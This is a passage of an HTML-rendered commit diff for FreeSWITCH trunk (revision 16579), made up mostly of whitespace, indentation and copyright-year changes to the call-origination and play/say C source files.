</span><span class="cx">                                         myflags |= SOF_NO_EFFECTIVE_CID_NUM;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 current_variable = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (vdata &amp;&amp; (var_begin = switch_stristr(&quot;origination_caller_id_name=&quot;, vdata))) {
</span><span class="cx">                                         var_begin += strlen(&quot;origination_caller_id_name=&quot;);
</span><span class="cx">                                         var_end = strchr(var_begin, '|');
</span><span class="cx"> 
</span><span class="cx">                                         if (var_end) {
</span><del>-                                                strncpy(variable_buffer, var_begin, var_end-var_begin);
</del><ins>+                                                strncpy(variable_buffer, var_begin, var_end - var_begin);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 strncpy(variable_buffer, var_begin, strlen(var_begin));
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         current_variable = variable_buffer;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (current_variable || (current_variable = switch_event_get_header(var_event, &quot;origination_caller_id_name&quot;))) {
</span><span class="cx">                                         new_profile-&gt;caller_id_name = switch_core_strdup(new_profile-&gt;pool, current_variable);
</span><span class="cx">                                         myflags |= SOF_NO_EFFECTIVE_CID_NAME;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 current_variable = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (vdata &amp;&amp; (var_begin = switch_stristr(&quot;origination_privacy=&quot;, vdata))) {
</span><span class="cx">                                         var_begin += strlen(&quot;origination_privacy=&quot;);
</span><span class="cx">                                         var_end = strchr(var_begin, '|');
</span><span class="cx"> 
</span><span class="cx">                                         if (var_end) {
</span><del>-                                                strncpy(variable_buffer, var_begin, var_end-var_begin);
</del><ins>+                                                strncpy(variable_buffer, var_begin, var_end - var_begin);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 strncpy(variable_buffer, var_begin, strlen(var_begin));
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         current_variable = variable_buffer;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (current_variable || (current_variable = switch_event_get_header(var_event, &quot;origination_privacy&quot;))) {
</span><span class="cx">                                         new_profile-&gt;flags = SWITCH_CPF_NONE;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (switch_stristr(&quot;screen&quot;, current_variable)) {
</span><span class="cx">                                                 switch_set_flag(new_profile, SWITCH_CPF_SCREEN);
</span><span class="cx">                                         }
</span><span class="lines">@@ -2406,11 +2382,11 @@
</span><span class="cx">                                 current_variable = NULL;
</span><span class="cx">                                 switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, &quot;originate_early_media&quot;, oglobals.early_ok ? &quot;true&quot; : &quot;false&quot;);
</span><span class="cx"> 
</span><del>-                                if ((reason = switch_core_session_outgoing_channel(oglobals.session, var_event, chan_type, 
</del><ins>+                                if ((reason = switch_core_session_outgoing_channel(oglobals.session, var_event, chan_type,
</ins><span class="cx">                                                                                                                                    new_profile, &amp;new_session, &amp;pool, myflags, cancel_cause)) != SWITCH_CAUSE_SUCCESS) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cannot create outgoing channel of type [%s] cause: [%s]\n&quot;, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cannot create outgoing channel of type [%s] cause: [%s]\n&quot;,
</ins><span class="cx">                                                                           chan_type, switch_channel_cause2str(reason));
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (pool) {
</span><span class="cx">                                                 switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx">                                         }
</span><span class="lines">@@ -2498,16 +2474,16 @@
</span><span class="cx">                                         if ((vvar = switch_channel_get_variable(originate_status[i].peer_channel, &quot;leg_timeout&quot;))) {
</span><span class="cx">                                                 int val = atoi(vvar);
</span><span class="cx">                                                 if (val &gt; 0) {
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Setting leg timeout to %d\n&quot;, 
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Setting leg timeout to %d\n&quot;,
</ins><span class="cx">                                                                                           switch_channel_get_name(originate_status[i].peer_channel), val);
</span><span class="cx">                                                         originate_status[i].per_channel_timelimit_sec = (uint32_t) val;
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((vvar = switch_channel_get_variable(originate_status[i].peer_channel, &quot;leg_progress_timeout&quot;))) {
</span><span class="cx">                                                 int val = atoi(vvar);
</span><span class="cx">                                                 if (val &gt; 0) {
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Setting leg progress timeout to %d\n&quot;, 
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Setting leg progress timeout to %d\n&quot;,
</ins><span class="cx">                                                                                           switch_channel_get_name(originate_status[i].peer_channel), val);
</span><span class="cx">                                                         originate_status[i].per_channel_progress_timelimit_sec = (uint32_t) val;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -2516,7 +2492,7 @@
</span><span class="cx">                                         if ((vvar = switch_channel_get_variable(originate_status[i].peer_channel, &quot;leg_delay_start&quot;))) {
</span><span class="cx">                                                 int val = atoi(vvar);
</span><span class="cx">                                                 if (val &gt; 0) {
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Setting leg delay start to %d\n&quot;, 
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Setting leg delay start to %d\n&quot;,
</ins><span class="cx">                                                                                           switch_channel_get_name(originate_status[i].peer_channel), val);
</span><span class="cx">                                                         originate_status[i].per_channel_delay_start = (uint32_t) val;
</span><span class="cx"> 
</span><span class="lines">@@ -2579,16 +2555,16 @@
</span><span class="cx">                                         if (caller_channel &amp;&amp; !switch_channel_ready(caller_channel)) {
</span><span class="cx">                                                 goto notready;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         elapsed = switch_epoch_time_now(NULL) - start;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                         if (elapsed &gt; (time_t) timelimit_sec) {
</span><span class="cx">                                                 to++;
</span><span class="cx">                                                 oglobals.idx = IDX_TIMEOUT;
</span><span class="cx">                                                 goto notready;
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><del>-                                        if (!oglobals.sent_ring &amp;&amp; !oglobals.ignore_ring_ready &amp;&amp; 
</del><ins>+                                        if (!oglobals.sent_ring &amp;&amp; !oglobals.ignore_ring_ready &amp;&amp;
</ins><span class="cx">                                                 !oglobals.progress &amp;&amp; (progress_timelimit_sec &amp;&amp; elapsed &gt; (time_t) progress_timelimit_sec)) {
</span><span class="cx">                                                 to++;
</span><span class="cx">                                                 oglobals.idx = IDX_TIMEOUT;
</span><span class="lines">@@ -2597,7 +2573,7 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                                 goto notready;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_cond_next();
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -2611,16 +2587,15 @@
</span><span class="cx"> 
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                endfor1:
</del><ins>+                  endfor1:
</ins><span class="cx"> 
</span><span class="cx">                         if (caller_channel) {
</span><del>-                                if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE) || 
</del><ins>+                                if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE) ||
</ins><span class="cx">                                         switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA) || switch_channel_test_flag(caller_channel, CF_DISABLE_RINGBACK)) {
</span><span class="cx">                                         ringback_data = NULL;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        
</del><span class="cx"> 
</span><span class="cx"> #if 0
</span><span class="cx">                         /* changing behaviour ignore_early_media=true must also be explicitly set for previous behaviour */
</span><span class="lines">@@ -2640,9 +2615,9 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         while ((!caller_channel || switch_channel_ready(caller_channel) || switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE)) &amp;&amp;
</span><del>-                   check_channel_status(&amp;oglobals, originate_status, and_argc)) {
</del><ins>+                                   check_channel_status(&amp;oglobals, originate_status, and_argc)) {
</ins><span class="cx">                                 time_t elapsed = switch_epoch_time_now(NULL) - start;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (cancel_cause &amp;&amp; *cancel_cause &gt; 0) {
</span><span class="cx">                                         if (force_reason == SWITCH_CAUSE_NONE) {
</span><span class="cx">                                                 force_reason = *cancel_cause;
</span><span class="lines">@@ -2667,18 +2642,18 @@
</span><span class="cx"> 
</span><span class="cx">                                 if ((to = (uint8_t) (elapsed &gt;= (time_t) timelimit_sec)) || (fail_on_single_reject &amp;&amp; oglobals.hups)) {
</span><span class="cx">                                         int ok = 0;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (fail_on_single_reject_var &amp;&amp; !switch_true(fail_on_single_reject_var)) {
</span><span class="cx">                                                 ok = 1;
</span><span class="cx">                                                 for (i = 0; i &lt; and_argc; i++) {
</span><span class="cx">                                                         switch_channel_t *pchannel;
</span><span class="cx">                                                         const char *cause_str;
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!originate_status[i].peer_session) {
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="cx">                                                         pchannel = switch_core_session_get_channel(originate_status[i].peer_session);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (switch_channel_down(pchannel)) {
</span><span class="cx">                                                                 cause_str = switch_channel_cause2str(switch_channel_get_cause(pchannel));
</span><span class="cx">                                                                 if (switch_stristr(cause_str, fail_on_single_reject_var)) {
</span><span class="lines">@@ -2701,7 +2676,7 @@
</span><span class="cx">                                         !switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE) &amp;&amp;
</span><span class="cx">                                         (oglobals.ringback_ok
</span><span class="cx">                                          || (switch_channel_test_flag(caller_channel, CF_ANSWERED) || switch_channel_test_flag(caller_channel, CF_EARLY_MEDIA)))) {
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_status_t tstatus = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                                         int silence = 0;
</span><span class="cx"> 
</span><span class="lines">@@ -2733,13 +2708,13 @@
</span><span class="cx">                                                 read_frame = NULL;
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><del>-                                        
-                                        if (oglobals.ringback_ok &amp;&amp; (oglobals.ring_ready || oglobals.instant_ringback || 
</del><ins>+
+                                        if (oglobals.ringback_ok &amp;&amp; (oglobals.ring_ready || oglobals.instant_ringback ||
</ins><span class="cx">                                                                                                  oglobals.sending_ringback &gt; 1 || oglobals.bridge_early_media &gt; -1)) {
</span><span class="cx">                                                 if (oglobals.ringback_ok == 1) {
</span><span class="cx">                                                         switch_status_t rst = setup_ringback(&amp;oglobals, ringback_data, &amp;ringback, &amp;write_frame, &amp;write_codec);
</span><span class="cx"> 
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (oglobals.bridge_early_media &gt; -1) {
</span><span class="cx">                                                                 switch_threadattr_t *thd_attr = NULL;
</span><span class="cx">                                                                 switch_threadattr_create(&amp;thd_attr, switch_core_session_get_pool(session));
</span><span class="lines">@@ -2751,8 +2726,8 @@
</span><span class="cx">                                                                 switch_buffer_create_dynamic(&amp;early_state.buffer, 1024, 1024, 0);
</span><span class="cx">                                                                 switch_thread_create(&amp;oglobals.ethread, thd_attr, early_thread_run, &amp;early_state, switch_core_session_get_pool(session));
</span><span class="cx">                                                         }
</span><del>-                                                        
-                                                        
</del><ins>+
+
</ins><span class="cx">                                                         switch (rst) {
</span><span class="cx">                                                         case SWITCH_STATUS_SUCCESS:
</span><span class="cx">                                                                 oglobals.ringback_ok++;
</span><span class="lines">@@ -2772,12 +2747,12 @@
</span><span class="cx"> 
</span><span class="cx">                                                         continue;
</span><span class="cx">                                                 }
</span><del>-                                                        
-                                                if (oglobals.bridge_early_media &gt; -1)  {
</del><ins>+
+                                                if (oglobals.bridge_early_media &gt; -1) {
</ins><span class="cx">                                                         write_frame.datalen = 0;
</span><span class="cx">                                                         switch_mutex_lock(early_state.mutex);
</span><span class="cx">                                                         if (switch_buffer_inuse(early_state.buffer) &gt;= write_frame.codec-&gt;implementation-&gt;decoded_bytes_per_packet) {
</span><del>-                                                                write_frame.datalen = switch_buffer_read(early_state.buffer, write_frame.data, 
</del><ins>+                                                                write_frame.datalen = switch_buffer_read(early_state.buffer, write_frame.data,
</ins><span class="cx">                                                                                                                                                  write_frame.codec-&gt;implementation-&gt;decoded_bytes_per_packet);
</span><span class="cx">                                                         }
</span><span class="cx">                                                         switch_mutex_unlock(early_state.mutex);
</span><span class="lines">@@ -2792,11 +2767,11 @@
</span><span class="cx">                                                         }
</span><span class="cx"> 
</span><span class="cx">                                                         olen = mlen;
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         //if (ringback.fh-&gt;resampler &amp;&amp; ringback.fh-&gt;resampler-&gt;rfactor &gt; 1) {
</span><span class="cx">                                                         //olen = (switch_size_t) (olen * ringback.fh-&gt;resampler-&gt;rfactor);
</span><span class="cx">                                                         //}
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_core_file_read(ringback.fh, write_frame.data, &amp;olen);
</span><span class="cx"> 
</span><span class="cx">                                                         if (olen == 0) {
</span><span class="lines">@@ -2812,7 +2787,8 @@
</span><span class="cx">                                                 } else if (ringback.audio_buffer) {
</span><span class="cx">                                                         if ((write_frame.datalen = (uint32_t) switch_buffer_read_loop(ringback.audio_buffer,
</span><span class="cx">                                                                                                                                                                                   write_frame.data,
</span><del>-                                                                                                                                                                                  write_frame.codec-&gt;implementation-&gt;decoded_bytes_per_packet)) &lt;= 0) {
</del><ins>+                                                                                                                                                                                  write_frame.codec-&gt;implementation-&gt;decoded_bytes_per_packet)) &lt;=
+                                                                0) {
</ins><span class="cx"> 
</span><span class="cx">                                                                 if (soft_holding) {
</span><span class="cx">                                                                         switch_channel_set_flag(caller_channel, CF_XFER_ZOMBIE);
</span><span class="lines">@@ -2827,13 +2803,13 @@
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 silence = 600;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((ringback.fh || silence || ringback.audio_buffer || oglobals.bridge_early_media &gt; -1) &amp;&amp; write_frame.codec &amp;&amp; write_frame.datalen) {
</span><span class="cx">                                                 if (silence) {
</span><span class="cx">                                                         write_frame.datalen = write_frame.codec-&gt;implementation-&gt;decoded_bytes_per_packet;
</span><span class="cx">                                                         switch_generate_sln_silence((int16_t *) write_frame.data, write_frame.datalen / 2, silence);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_core_session_write_frame(oglobals.session, &amp;write_frame, SWITCH_IO_FLAG_NONE, 0) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         if (soft_holding) {
</span><span class="cx">                                                                 switch_channel_set_flag(caller_channel, CF_XFER_ZOMBIE);
</span><span class="lines">@@ -2844,13 +2820,13 @@
</span><span class="cx">                                                         break;
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         switch_cond_next();
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                   notready:
</span><span class="cx"> 
</span><span class="cx">                         if (caller_channel) {
</span><span class="lines">@@ -2863,13 +2839,13 @@
</span><span class="cx">                                         switch_channel_set_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, NULL);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (caller_channel &amp;&amp; !switch_channel_ready(caller_channel) &amp;&amp; !switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE)) {
</span><span class="cx">                                 oglobals.idx = IDX_CANCEL;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (oglobals.session &amp;&amp; (ringback_data || !(switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &amp;&amp;
</span><del>-                                                                                           switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA)))) {
</del><ins>+                                                                                                                switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA)))) {
</ins><span class="cx">                                 switch_core_session_reset(oglobals.session, SWITCH_FALSE, SWITCH_TRUE);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -2906,17 +2882,17 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
-                        end_search:
</del><span class="cx"> 
</span><ins>+                          end_search:
+
</ins><span class="cx">                                 if (peer_channel &amp;&amp; switch_channel_down(peer_channel)) {
</span><span class="cx">                                         switch_core_session_rwunlock(peer_session);
</span><span class="cx">                                         peer_session = NULL;
</span><span class="cx">                                         peer_channel = NULL;
</span><span class="cx"> 
</span><span class="cx">                                 }
</span><del>-                                
-                                if (oglobals.idx == IDX_TIMEOUT || to || oglobals.idx == IDX_KEY_CANCEL || oglobals.idx == IDX_CANCEL || 
</del><ins>+
+                                if (oglobals.idx == IDX_TIMEOUT || to || oglobals.idx == IDX_KEY_CANCEL || oglobals.idx == IDX_CANCEL ||
</ins><span class="cx">                                         (!peer_session &amp;&amp; oglobals.idx == IDX_NADA)) {
</span><span class="cx">                                         const char *dest = NULL;
</span><span class="cx">                                         const char *context = NULL;
</span><span class="lines">@@ -2925,13 +2901,13 @@
</span><span class="cx"> 
</span><span class="cx">                                         if (caller_channel) {
</span><span class="cx">                                                 if (zstr(context)) {
</span><del>-                                                        context = switch_channel_get_variable(caller_channel, &quot;context&quot;); 
</del><ins>+                                                        context = switch_channel_get_variable(caller_channel, &quot;context&quot;);
</ins><span class="cx">                                                 }
</span><span class="cx">                                                 if (zstr(dialplan)) {
</span><del>-                                                        dialplan = switch_channel_get_variable(caller_channel, &quot;dialplan&quot;); 
</del><ins>+                                                        dialplan = switch_channel_get_variable(caller_channel, &quot;dialplan&quot;);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (zstr(context)) {
</span><span class="cx">                                                 context = &quot;default&quot;;
</span><span class="cx">                                         }
</span><span class="lines">@@ -3019,12 +2995,12 @@
</span><span class="cx">                                 peer_session = NULL;
</span><span class="cx">                                 peer_channel = NULL;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (i = 0; i &lt; and_argc; i++) {
</span><span class="cx">                                 if (!peer_eligible(originate_status[i].peer_channel)) {
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (i != oglobals.idx) {
</span><span class="cx">                                         holding = NULL;
</span><span class="cx"> 
</span><span class="lines">@@ -3043,10 +3019,10 @@
</span><span class="cx">                                         }
</span><span class="cx">                                         if (switch_channel_up(originate_status[i].peer_channel)) {
</span><span class="cx">                                                 if (caller_channel &amp;&amp; i == 0) {
</span><del>-                            holding = switch_channel_get_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE);
-                            switch_channel_set_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, NULL);
-                        }
-                                                
</del><ins>+                                                        holding = switch_channel_get_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE);
+                                                        switch_channel_set_variable(caller_channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, NULL);
+                                                }
+
</ins><span class="cx">                                                 if (holding &amp;&amp; oglobals.idx != IDX_TIMEOUT &amp;&amp; oglobals.idx != IDX_KEY_CANCEL) {
</span><span class="cx">                                                         switch_core_session_t *holding_session;
</span><span class="cx"> 
</span><span class="lines">@@ -3054,17 +3030,17 @@
</span><span class="cx">                                                                 switch_channel_set_variable(switch_core_session_get_channel(holding_session), SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE, &quot;true&quot;);
</span><span class="cx">                                                                 switch_core_session_rwunlock(holding_session);
</span><span class="cx">                                                         }
</span><del>-                            switch_ivr_uuid_bridge(holding, switch_core_session_get_uuid(originate_status[i].peer_session));
</del><ins>+                                                        switch_ivr_uuid_bridge(holding, switch_core_session_get_uuid(originate_status[i].peer_session));
</ins><span class="cx">                                                         holding = NULL;
</span><del>-                        } else {
</del><ins>+                                                } else {
</ins><span class="cx">                                                         switch_channel_hangup(originate_status[i].peer_channel, force_reason ? force_reason : reason);
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><span class="cx"> 
</span><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         if (oglobals.idx &gt; IDX_NADA) {
</span><span class="cx">                                 if ((peer_session = originate_status[oglobals.idx].peer_session)) {
</span><span class="cx">                                         peer_channel = switch_core_session_get_channel(originate_status[oglobals.idx].peer_session);
</span><span class="lines">@@ -3089,7 +3065,7 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (status != SWITCH_STATUS_SUCCESS) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(peer_channel), SWITCH_LOG_DEBUG, &quot;%s Media Establishment Failed.\n&quot;, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(peer_channel), SWITCH_LOG_DEBUG, &quot;%s Media Establishment Failed.\n&quot;,
</ins><span class="cx">                                                                           switch_channel_get_name(caller_channel));
</span><span class="cx">                                         switch_channel_hangup(peer_channel, SWITCH_CAUSE_INCOMPATIBLE_DESTINATION);
</span><span class="cx">                                 }
</span><span class="lines">@@ -3112,7 +3088,7 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                   done:
</span><del>-                
</del><ins>+
</ins><span class="cx">                         *cause = SWITCH_CAUSE_NONE;
</span><span class="cx"> 
</span><span class="cx">                         if (caller_channel &amp;&amp; !switch_channel_ready(caller_channel)) {
</span><span class="lines">@@ -3126,7 +3102,7 @@
</span><span class="cx">                                                 switch_process_import(oglobals.session, peer_channel, &quot;import&quot;);
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(oglobals.session), SWITCH_LOG_DEBUG, &quot;Originate Resulted in Success: [%s]\n&quot;, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(oglobals.session), SWITCH_LOG_DEBUG, &quot;Originate Resulted in Success: [%s]\n&quot;,
</ins><span class="cx">                                                                   switch_channel_get_name(peer_channel));
</span><span class="cx">                                 *cause = SWITCH_CAUSE_SUCCESS;
</span><span class="cx"> 
</span><span class="lines">@@ -3141,7 +3117,7 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (peer_channel) {
</span><del>-                                        *cause = switch_channel_get_cause(peer_channel);                                        
</del><ins>+                                        *cause = switch_channel_get_cause(peer_channel);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         for (i = 0; i &lt; and_argc; i++) {
</span><span class="cx">                                                 if (!originate_status[i].peer_channel) {
</span><span class="lines">@@ -3151,23 +3127,23 @@
</span><span class="cx">                                                 break;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (cdr_var) {
</span><span class="cx">                                         for (i = 0; i &lt; and_argc; i++) {
</span><span class="cx">                                                 switch_channel_t *channel;
</span><span class="cx"> 
</span><span class="cx">                                                 if (!originate_status[i].peer_session) {
</span><del>-                            continue;
-                        }
</del><ins>+                                                        continue;
+                                                }
</ins><span class="cx"> 
</span><span class="cx">                                                 channel = switch_core_session_get_channel(originate_status[i].peer_session);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 switch_channel_wait_for_state_timeout(channel, CS_REPORTING, 5000);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!switch_channel_test_flag(channel, CF_TIMESTAMP_SET)) {
</span><span class="cx">                                                         switch_channel_set_timestamps(channel);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_ivr_generate_xml_cdr(originate_status[i].peer_session, &amp;cdr) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         if ((xml_text = switch_xml_toxml(cdr, SWITCH_FALSE))) {
</span><span class="cx">                                                                 switch_snprintf(buf, sizeof(buf), &quot;%s_%d&quot;, cdr_var, ++cdr_total);
</span><span class="lines">@@ -3216,7 +3192,7 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         early_state.ready = 0;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         if (oglobals.ethread) {
</span><span class="cx">                                 switch_status_t st;
</span><span class="cx">                                 switch_thread_join(&amp;st, oglobals.ethread);
</span><span class="lines">@@ -3248,15 +3224,15 @@
</span><span class="cx">                                 if (!originate_status[i].peer_channel) {
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><del>-                                
-                                if (status == SWITCH_STATUS_SUCCESS) { 
</del><ins>+
+                                if (status == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                         switch_channel_clear_flag(originate_status[i].peer_channel, CF_ORIGINATING);
</span><span class="cx">                                         if (bleg &amp;&amp; *bleg &amp;&amp; *bleg == originate_status[i].peer_session) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><del>-                                } else if ((state=switch_channel_get_state(originate_status[i].peer_channel)) &lt; CS_HANGUP &amp;&amp; 
</del><ins>+                                } else if ((state = switch_channel_get_state(originate_status[i].peer_channel)) &lt; CS_HANGUP &amp;&amp;
</ins><span class="cx">                                                    switch_channel_test_flag(originate_status[i].peer_channel, CF_ORIGINATING)) {
</span><del>-                                        if (!(state == CS_RESET || switch_channel_test_flag(originate_status[i].peer_channel, CF_TRANSFER) || 
</del><ins>+                                        if (!(state == CS_RESET || switch_channel_test_flag(originate_status[i].peer_channel, CF_TRANSFER) ||
</ins><span class="cx">                                                   switch_channel_test_flag(originate_status[i].peer_channel, CF_REDIRECT) ||
</span><span class="cx">                                                   switch_channel_test_flag(originate_status[i].peer_channel, CF_BRIDGED))) {
</span><span class="cx">                                                 switch_channel_hangup(originate_status[i].peer_channel, *cause);
</span><span class="lines">@@ -3277,7 +3253,7 @@
</span><span class="cx">                                         for (i = 0; i &lt; and_argc; i++) {
</span><span class="cx">                                                 switch_channel_t *pchannel;
</span><span class="cx">                                                 const char *cause_str;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!originate_status[i].peer_session) {
</span><span class="cx">                                                         continue;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -3313,7 +3289,7 @@
</span><span class="cx">         if (*bleg) {
</span><span class="cx">                 if (session &amp;&amp; caller_channel) {
</span><span class="cx">                         switch_caller_profile_t *cloned_profile, *peer_profile = switch_channel_get_caller_profile(switch_core_session_get_channel(*bleg));
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (peer_profile) {
</span><span class="cx">                                 if ((cloned_profile = switch_caller_profile_clone(session, peer_profile)) != 0) {
</span><span class="cx">                                         switch_channel_set_originatee_caller_profile(caller_channel, cloned_profile);
</span><span class="lines">@@ -3334,7 +3310,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_safe_free(write_frame.data);
</span><span class="cx">         switch_safe_free(fail_on_single_reject_var);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (caller_channel) {
</span><span class="cx">                 switch_channel_clear_flag(caller_channel, CF_ORIGINATOR);
</span><span class="cx">                 switch_channel_clear_flag(caller_channel, CF_XFER_ZOMBIE);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_ivr_play_sayc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_ivr_play_say.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_ivr_play_say.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_play_say.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -185,7 +185,7 @@
</span><span class="cx">                 old_sound_prefix = p;
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;sound_prefix&quot;, sound_path);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(macro = switch_xml_child(language, &quot;macro&quot;))) {
